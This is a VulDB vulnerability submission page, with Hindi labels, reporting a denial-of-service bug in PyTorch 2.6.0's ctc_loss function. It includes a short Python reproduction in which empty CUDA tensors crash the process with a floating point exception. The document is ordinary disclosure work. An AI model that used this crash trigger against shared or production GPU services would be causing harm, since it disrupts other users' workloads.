जमा करें #553645: pytorch pytorch (in torch.nn.functional.ctc_loss) 2.6.0 Denial of Serviceजानकारी

शीर्षकpytorch pytorch (in torch.nn.functional.ctc_loss) 2.6.0 Denial of Service
विवरणWhen calling `ctc_loss` with empty tensors on CUDA (device="cuda"), a `Floating point exception` occurs. This does not happen on CPU, where a proper error is raised. This bug can be exploited for a denial-of-service attack. # To reproduce ``` import torch import torch.nn.functional as F device = "cuda" # "cpu" is fine num_classes = 4 log_probs = torch.rand(0, 0, num_classes, device=device) targets = torch.tensor([], device=device, dtype=torch.long) input_lengths = torch.tensor([], device=device, dtype=torch.long) target_lengths = torch.tensor([], device=device, dtype=torch.long) result = F.ctc_loss(log_probs, targets, input_lengths, target_lengths, reduction='none') ``` # Output ``` Floating point exception (core dumped) ```
स्रोत⚠️ https://github.com/pytorch/pytorch/issues/150835
उपयोगकर्ता
 Default436352 (UID 81891)
सबमिशन08/04/2025 05:12 PM (1 वर्ष पहले)
संयम16/04/2025 03:41 PM (8 days later)
स्थितिस्वीकृत
VulDB प्रविष्टि305076 [PyTorch 2.6.0 LossCTC.cpp torch.nn.functional.ctc_loss सेवा अस्वीकार]
अंक20

Might our Artificial Intelligence support you?

Check our Alexa App!